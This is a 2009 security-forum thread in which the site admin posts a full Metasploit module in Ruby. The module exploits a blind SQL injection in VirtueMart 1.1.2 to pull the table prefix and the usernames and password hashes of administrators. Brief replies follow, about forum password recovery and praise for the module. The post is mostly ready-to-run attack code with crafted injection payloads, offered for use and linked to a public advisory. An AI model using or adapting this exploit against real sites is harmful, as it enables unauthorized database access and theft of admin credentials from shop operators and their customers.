Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
September 23, 2019
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 254
Members: 0
Total: 254
PacketStorm News
Currently there is a problem with headlines from this site
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Metasploit related -> VirtueMart 1.1.2 Blind Sql Injection Exploit
Post new topic  Reply to topic View previous topic :: View next topic 
VirtueMart 1.1.2 Blind Sql Injection Exploit
PostPosted: Wed Mar 25, 2009 6:41 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Features:

1. Blind Injection based on induced sql errors - better performance compared to delay-based exploitation (benchmark() and sleep())
2. Can handle bad network conditions (common scenario using proxies)
3. Is able to retrieve custom sql table prefix from information_schema
4. Can fetch username and password hash for specific user ID and/or user group
5. Can handle Joomla's 32-, 49- and 65-chars hashes
6. Thorough pre-testing (4 tests)

Prerequisites:

1. MySql >= 4.1 with subselects suppport for exploit to work
2. MySql >= 5.0 with information_schema for prefix autofetcher

http://www.waraxe.us/tools/metasploits/virtuemart_112_sql.rb

Code:


require 'msf/core'

class Metasploit3 < Msf::Auxiliary

   include Msf::Exploit::Remote::HttpClient

   def initialize(info = {})
      super(update_info(info,   
         'Name'           => 'VirtueMart <= 1.1.2 Sql Injection Exploit',
         'Description'    => %q{
               This module exploits VirtueMart <= 1.1.2 Blind Sql Injection vulnerability.
         },
         'Author'         => 'Janek Vind "waraxe" <come2waraxe[at]yahoo.com>',
         'License'        => MSF_LICENSE,
         'Version'        => '1.0',
         'References'     =>
            [
               ['BID', '33480'],
               ['URL', 'http://www.waraxe.us/advisory-71.html'],
               ['URL', 'http://secunia.com/advisories/33671/']
            ],
         'DisclosureDate' => 'Jan 24 2009'))

         register_options(
            [
               OptString.new('URI', [false, 'Path to VirtueMart', '']),
               OptInt.new('TARGETID', [false, 'Target ID (optional)']),
               OptString.new('PREFIX', [false, 'Database table prefix (optional)', 'jos_']),
               OptBool.new('ALLSA', [ false,  'Fetch all Super Admins', true]),
               OptBool.new('ALLA', [ false,  'Fetch all Admins', false]),
               OptBool.new('ALLM', [ false,  'Fetch all Managers', false]),
            ], self.class)
         
   end

   def run

      @marker = 'name="addtocart"'
      @target_uri = '/' + datastore['URI'] + '/'
      @target_uri = @target_uri.gsub(/\/{2,}/, '/')
      @target_id = datastore['TARGETID']
      @target_prefix = datastore['PREFIX']
      @requests = @fetched = 0
      time_start = Time.now.to_i
      
      # debug_level=2 - more debug messages, 1 - less
      @debug_level = 1
      
      if(!pre_test)
         print_error('Exploit failed in pre-test phase')
         return
      end

      if(datastore['ALLSA'])
         if(!get_users(1))
            print_error('Exploit failed fetching Super Admins')
            return
         end
      end
      
      if(datastore['ALLA'])
         if(!get_users(2))
            print_error('Exploit failed fetching Admins')
            return
         end
      end
      
      if(datastore['ALLM'])
         if(!get_users(3))
            print_error('Exploit failed fetching Managers')
            return
         end
      end
      
      if((@target_id < 1) and (!datastore['ALLSA']) and (!datastore['ALLA']) and (!datastore['ALLM']))
         print_status('Target ID or group(s) not specified, fetching Super Admins as default')
         if(!get_users(1))
            print_error('Exploit failed fetching Super Admins')
            return
         end
      end
      
      if(@target_id > 1)
         if(!get_user())
            print_error("Exploit failed fetching user with ID=#{@target_id}")
            return
         end
      end
      
      time_spent = Time.now.to_i - time_start
      
      print_status("Exploitation results:")
      print_status("Got data for  #{@fetched} users")
      print_status("Total time spent: #{time_spent} seconds")
      print_status("HTTP requests needed: #{@requests}")
      
   end
   ############################################################
   def make_post(post_data)
      
      timeout = 30
      
      begin   
      
         res = send_request_cgi({
            'uri'     => @target_uri,
            'method'  => 'POST',
            'data'  => post_data,
         }, timeout)
         
         if(res and res.body)
            @requests += 1
            return res.body
         else
            print_error('No response from server')
            return nil
         end
         
      rescue ::Exception
         print_error("Error: #{$!.class} #{$!}")
         return nil
      end
   end
   ############################################################
   def test_condition(condition)
      
      max_tries = 10

      post_data  = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,"
      post_data << "IF(#{condition},1,(SELECT 1 UNION ALL SELECT 1))"
      
      1.upto(max_tries) do |i|
         
         buf = make_post(post_data)
         
         if(buf)
            return buf.include?(@marker)
         else
            print_status("Sleeping #{i} seconds")
            sleep(i)
            print_status("Awake, retry ##{i}")
         end
      end
      
      return nil
   end
   ############################################################
   def pre_test
      
      post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1'
      buf = make_post(post_data) or return false

      if(!buf.include?(@marker))
         print_error('Pre-test 1 failed - VirtueMart not detected')
         return false
      else
         print_status('Pre-test 1 passed - VirtueMart detected')
      end

      post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,'
      buf = make_post(post_data) or return false

      if(buf.include?(@marker))
         print_error('Pre-test 2 failed - target is patched?')
         return false
      else
         print_status('Pre-test 2 passed - injection detected')
      end
      
      post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,(SELECT 1)'
      buf = make_post(post_data) or return false

      if(!buf.include?(@marker))
         print_error('Pre-test 3 failed - subselects not supported?')
         return false
      else
         print_status('Pre-test 3 passed - subselects supported')
      end
      
      if(@target_prefix == '')
         print_status('Prefix not provided, trying to fetch')
         @target_prefix = get_prefix
         if(!@target_prefix)
            print_error('Prefix fetch failed')
            return false
         else
            print_status("Prefix fetched: #{@target_prefix}")
            return true
         end
      end
      
      post_data  = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=," +
         "(SELECT 1 FROM #{@target_prefix}users LIMIT 1)"
         
      buf = make_post(post_data) or return false
      
      if(!buf.include?(@marker))
         print_error('Pre-test 4 failed - wrong prefix?')
         print_status('Trying to fetch valid prefix')
         @target_prefix = get_prefix
         if(!@target_prefix)
            print_error('Prefix fetch failed')
            return false
         else
            print_status("Prefix fetched: #{@target_prefix}")
            return true
         end
      else
         print_status('Pre-test 4 passed - prefix OK')
      end
      
      return true
   end
   ############################################################
   def get_char(pattern, min, max)
   
      num = get_num(pattern, min, max) or return nil
      
      return num.chr
      
   end
   ############################################################
   def get_hash(group = nil, u_pos = nil)
      
      hash = ''
   
      if(group and u_pos)
         pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
      else
         pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE id=#{@target_id})"
      end
      
      p_len = get_num(pattern, 32, 100) or return nil
      
      print_status("Got hash length: #{p_len.to_s}")
      
      1.upto(p_len) do |pos|
         print_status("Finding hash char pos #{pos}") if @debug_level > 0
            
         if(group and u_pos)
            pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
         else
            pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
         end
         
         c = get_char(pattern, 32, 128) or return nil

         hash << c
         print_status("Known: #{hash}") if @debug_level > 0

      end
      
      return hash
      
   end
   ############################################################
   def get_prefix
      
      prefix = ''
      
      post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,' +
         '(SELECT 1 FROM INFORMATION_SCHEMA.TABLES LIMIT 1)'
      buf = make_post(post_data) or return false

      if(!buf.include?(@marker))
         print_error('INFORMATION_SCHEMA not found - mysql < 5.0?')
         return false
      else
         print_status('INFORMATION_SCHEMA detected, proceed')
      end
      
      pattern = '(SELECT LENGTH(table_name)FROM INFORMATION_SCHEMA.TABLES' +
         ' WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)'
      
      p_len = get_num(pattern, 5, 100) or return nil
      p_len -= 10
      
      if(p_len < 0)
         print_error("Invalid prefix length: #{p_len.to_s}")
         return false
      elsif(p_len == 0)
         print_status('Prefix seems to be empty')
         @target_prefix = ''
         return true
      else
         print_status("Got prefix length: #{p_len.to_s}")
      end
      
      1.upto(p_len) do |pos|
         print_status("Finding prefix char pos #{pos}") if @debug_level > 0
         
         pattern = "(SELECT ORD(SUBSTR(table_name,#{pos},1))FROM INFORMATION_SCHEMA.TABLES" +
         " WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)"
         
         c = get_char(pattern, 32, 128) or return nil

         prefix << c
         print_status("Known: #{prefix}") if @debug_level > 0

      end
      
      return prefix
   end
   ############################################################
   def get_num(pattern, min = 1, max = 100)
      
      curr = 0;

      while(1)
         
         area = max - min
         if(area < 2 )
            post_data = "#{pattern}=#{max}"
            eq = test_condition(post_data)
         
            if(eq == nil)
               return nil
            elsif(eq)
               len = max
            else
               len = min
            end
            
            break
         end
      
         half = area / 2
         curr = min + half
      
         post_data = "#{pattern}>#{curr}"
      
         bigger = test_condition(post_data)
      
         if(bigger == nil)
            return nil
         elsif(bigger)
            min = curr
         else
            max = curr
         end

         print_status("Current: #{min}-#{max}") if @debug_level > 1
         
      end
      
      return len
      
   end
   ############################################################
   def get_username(group = nil, u_pos = nil)
      
      username = ''
      
      if(group and u_pos)
         pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
      else
         pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE id=#{@target_id})"
      end
      
      u_len = get_num(pattern, 1, 150) or return nil
      
      print_status("Got username length: #{u_len.to_s}")
      
      1.upto(u_len) do |pos|
         print_status("Finding username char pos #{pos}") if @debug_level > 0
         
         if(group and u_pos)
            pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
         else
            pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
         end
            
         c = get_char(pattern, 32, 128) or return nil

         username << c
         print_status("Known: #{username}") if @debug_level > 0
         
      end
      
      return username
      
   end
   ############################################################
   def get_users(group)
      
      if(group == 1)
         usertype = '0x53757065722041646d696e6973747261746f72'
         print_status('Starting to fetch all Super Admins')
      elsif(group == 2)
         usertype = '0x41646d696e6973747261746f72'
         print_status('Starting to fetch all Admins')
      else
         usertype = '0x4d616e61676572'
         print_status('Starting to fetch all Managers')
      end
      
      pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE usertype=#{usertype})"

      u_cnt = get_num(pattern, 0, 100) or return nil
      
      print_status("Targets to fetch: #{u_cnt.to_s}")
      
      0.upto(u_cnt - 1) do |pos|
         
         print_status("Fetching user pos #{pos}")
         
         username = get_username(usertype, pos) or return nil
         hash = get_hash(usertype, pos) or return nil
         @fetched += 1
         
         print_status(
            "Got user data:" +
            "\n==============================\n" +
            "Username: #{username}\n" +
            "Hash: #{hash}" +
            "\n=============================="
         )
         
      end
      
      return true
   end
   ############################################################
   def get_user
      
      print_status("Testing user ID=#{@target_id}")
      pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE ID=#{@target_id})"
      u_cnt = get_num(pattern, 0, 100) or return nil
      
      if(u_cnt != 1)
         print_error("No user with ID=#{@target_id}")
         return true
      end
      
      print_status("Working with user ID=#{@target_id}")
      
      username = get_username or return nil
      hash = get_hash or return nil
      @fetched += 1
      
      print_status(
         "Got user data:" +
         "\n==============================\n" +
         "Username: #{username}\n" +
         "Hash: #{hash}" +
         "\n=============================="
      )
         
      return true
   end
   ############################################################   
end


Last edited by waraxe on Tue Mar 31, 2009 9:35 am; edited 2 times in total
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Mar 30, 2009 5:25 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Wassap, people? Noone interested in trying? No feedback? Rolling Eyes
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Mar 30, 2009 5:29 pm Reply with quote
pexli
Valuable expert
Valuable expert
 
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




Сорри дружище, но просто времени нихрена нету потестить.

btw

... у тебя ретрив пароля не работаетSmile
View user's profile Send private message
PostPosted: Mon Mar 30, 2009 5:44 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




pexli wrote:
Сорри дружище, но просто времени нихрена нету потестить.

btw

... у тебя ретрив пароля не работаетSmile


You mean forum password restore functionality? Noone has complained so far, so I have no idea Smile
Maybe mailbox spamfiltering?
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Mar 30, 2009 6:01 pm Reply with quote
pexli
Valuable expert
Valuable expert
 
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




Попробую есчо завтра на работе.Если не успею отпишу.
View user's profile Send private message
PostPosted: Tue Aug 10, 2010 4:06 am Reply with quote
sk8er
Advanced user
Advanced user
 
Joined: May 09, 2005
Posts: 64




Wow mr. Waraxe , you make a metasploit module, is elegant Very Happy

congratulations, and I'm interesed in this, sql injection is the theme for my thesis Smile

saludos, and good luck

( what I do one equal ? )
View user's profile Send private message Send e-mail MSN Messenger
VirtueMart 1.1.2 Blind Sql Injection Exploit
  www.waraxe.us Forum Index -> Metasploit related
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB 2001-2008 phpBB Group






All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.095 Seconds